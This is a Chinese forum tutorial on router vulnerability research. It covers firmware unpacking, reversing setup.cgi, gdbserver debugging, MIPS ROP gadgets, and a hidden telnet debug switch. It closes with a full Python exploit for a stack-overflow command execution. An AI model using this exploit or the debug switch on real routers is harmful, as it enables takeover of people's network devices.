问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从零开始的路由器漏洞挖掘之旅
硬件与物联网
虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。
虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。 固件分析 ---- ### 安装和配置binwalk Binwalk是一个固件分析工具,可以帮助我们提取和分析嵌入式固件镜像。首先,按照以下步骤安装binwalk: > binwalk作者为Ubuntu系统定制了依赖的安装脚本,直接执行deps.sh,免去大部分烦恼! ```php git clone https://github.com/ReFirmLabs/binwalk cd binwalk sudo python3 setup.py install sudo ./deps.sh ``` 在开始漏洞挖掘之前,我们需要下载并解包路由器的固件。本文以某厂商路由器为例,首先从[官网](https://www.netgear.com/support/product/R6260.aspx)下载固件,然后使用binwalk进行解包: ```php binwalk -Me <firmware_file> ``` ### 漏洞分析 #### 目标漏洞信息 目标路由器属于MIPSEL架构,漏洞二进制位于setup.cgi(许多路由器的漏洞都位于CGI中,所以可以多看看,而且也比较容易利用) ```bash file setup.cgi setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ``` main函数在`setup_main` #### 逆向 `sub_555BA950`从nvram中获取了环境变量`fw_out_rules`的值,没有进行长度检查,在`sscanf`格式化写入到`v16`导致栈溢出。  通过交叉引用`fw_out_rules`可以发现该环境变量在`sub_55567D8C`被设置。  交叉引用上面所说的两个函数 可以发现都是通过`ActionTab`方式按名调用,分别是`rule_list_simple_out`和`outmove`可以在固件解包的目录下`grep`搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。  直接访问`fw_rules.htm`,搞几个规则,使用 `nvram show | grep fw_out_rules` 可以看到这个变量储存的是Service name还有一些数字啥的。   所以我们需要控制请求里的 `service_list`参数,来修改`fw_out_rules`,最后访问`BKS_service_add.htm`触发栈溢出。  动态调试 ---- ### 路由器配置 #### 开启telnet 虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。 其中函数`CallActionByName`通过查`ActionTab`表比对参数`todo`的值方式来调用函数`todo`中的参数对应函数 <img src="<https://s2.loli.net/2022/01/13/9WGF231OVSjyheT.png>" alt="image-20220107154406516" style="zoom: 67%;" />  注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check([IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1366157))。  所以可以通过`todo=debug`开启telnet  ```bash 192.168.1.1/setup.cgi?todo=debug telnet 192.168.1.1 ```  #### 编译gdbserver 在路由器上也要进行相应的调试配置 注意路由器是小端序,参数加上-EL [搭建iot动态调试环境\_九层台-CSDN博客](https://blog.csdn.net/qq_38204481/article/details/105391866) ```sh sudo apt-get install linux-libc-dev-mipsel-cross sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu sudo apt-get install g++-mipsel-linux-gnu ``` ```sh wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz tar xvf gdb-10.1.tar.xz cd gdb-10.1 CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static" make -j7 ``` 编译不了,不知道为啥( 这里下一个 <https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt> [HatLab Tools Library: 海特实验室IoT安全工具/环境整合 - Gitee.com](https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver) #### 上传gdbserver 比较好的办法是使用http server ```php python -m http.server 9999 wget http://192.168.1.2:9999/gdbserver ```  #### 附加二进制的坑点 由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。 ```sh int=1 while [ $int -le 1000 ]; do /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1` done ``` ### 调试端配置 环境: Ubuntu 21 #### 安装gef gef是异构动态调试做的比较好的一款gdb插件,推荐使用。 ```sh bash -c "$(wget http://gef.blah.cat/sh -O -)" ``` #### 安装gdb-multiarch 普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。 ```php sudo apt install gdb-multiarch ``` #### gdb调试配置 为了让gdb正确进行调试,首先需要进行一下环境配置。 ```sh set arch mips set endian little gef-remote 192.168.1.1:12345 ```  在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用`gdb-multiarch`通过`-x`选项直接通过文件加载命令: ```sh set arch mips set endian little gef-remote 192.168.1.1:12345 b *0x555BAC2C ``` ```sh gdb-multiarch setup.cgi -x ./gdb.cmd ``` IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。  漏洞利用 ---- ### 函数栈 mips调用函数时将返回地址放在 `$ra`,与x86架构类似,在函数起始处压栈,结束时弹出,通过`ja`指令跳到返回地址,所以需要溢出到`var_s24`来劫持控制流。  ### 执行system 介绍一下 mips 下神奇的函数调用:  在这里跳到 `$t9` 也就是 `system` 之后,会执行一下下面的那条语句(也就是 `5B068` 处的语句)之后才继续在 system 里面执行 那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个`command`的指针,这样就会调用 `system(ptr)` 了 然后执行命令可以执行 `ping` 命令(其中 ping 需要绝对路径,需要注意): ```bash /bin/ping hv14uf.dnslog.cn -c 2 ``` ### 寻找gadgets MIPS架构推荐使用`ropper`进行查找,查找时可以参考可被控制的寄存器来筛选gadget。 ```php file setup.cgi search addiu $a0 ``` 一开始找到了这个,后来发现怎么也打不通 ```assembly 0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60; 0x55567650: la $t9, system; nop; jalr $t9; nop; ``` 后来翻了翻[CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/16/input/)发现是0x20截断了,所以我们system执行的`command`也需要[绕过空格](https://blog.csdn.net/qq_43427482/article/details/109725672)。  同时在`FindForbidValue`函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。 <img src="<https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png>" alt="image-20220112183944202.png" style="zoom: 67%;" /> 后来还是用原来的(,将`command`写到 `$a0-0x60`上,跳到`0x55567650`执行就行了。 ```assembly 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 0x55567650: la $t9, system; nop; jalr $t9; nop; ``` 如果你也比较懒的的话,可以用`cyclic -l`来找偏移。  调试时发现`$a0`的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。 ### 最终exp ```python import requests,re import base64 url = "http://192.168.1.1/" user = "aaaa" pwd = "xxxx!" command = '/bin/ping xxx.dnslog.cn -c 4' command = command.replace(" ", "${IFS}") auth = "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8") def login(): get_sessionid = requests.get(url) sessionid = get_sessionid.headers["Set-Cookie"] headers = { "Authorization" : auth, "Cookie" : sessionid } r = requests.get(url,headers = headers) if r.status_code == 200: print("[+] Login success!") return sessionid else: print("[-] Login failed!") exit(0) def get_sid(sessionid): headers = { "Authorization" : auth, "Cookie" : sessionid } get_sid = requests.get(url + "fw_rules.htm",headers = headers) sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8")) return sid[0] def attack(sessionid): attackurl = url + "setup.cgi" + get_sid(sessionid) payload = "a" * 376 payload += "%e4%2c%59%55" # ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; payload += "b" * 0x1c payload += "%50%76%56%55" # ra = 0x55567650: la $t9, system; nop; jalr $t9; nop; payload += "c" * 8 payload += "%0a{}%0a".format(command) pad = 500 - (len(payload) - 4) if(pad >= 0): payload += "c" * pad # pad len to 500 print("[+] Attack start") print(attackurl,payload) data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID=" headers = { "Cookie" : sessionid, "Authorization" : auth } r = requests.post(url = attackurl,data = data,headers = headers) if r.status_code: print("[+] Attack success!, the result is:") print(r.content) else: print("[-] Attack failed!") exit(0) sessionid = login() attack(sessionid) ```   ref === [TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 - Lonely Blog (wuhao13.xin)](https://blog.wuhao13.xin/174.html) [HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/ctf/pwn/2020/09/24/mips/) [思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/)
发表于 2025-01-23 09:35:09
阅读 ( 1281 )
分类:
硬件与物联网
1 推荐
收藏
0 条评论
请先
登录
后评论
Vokekk
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!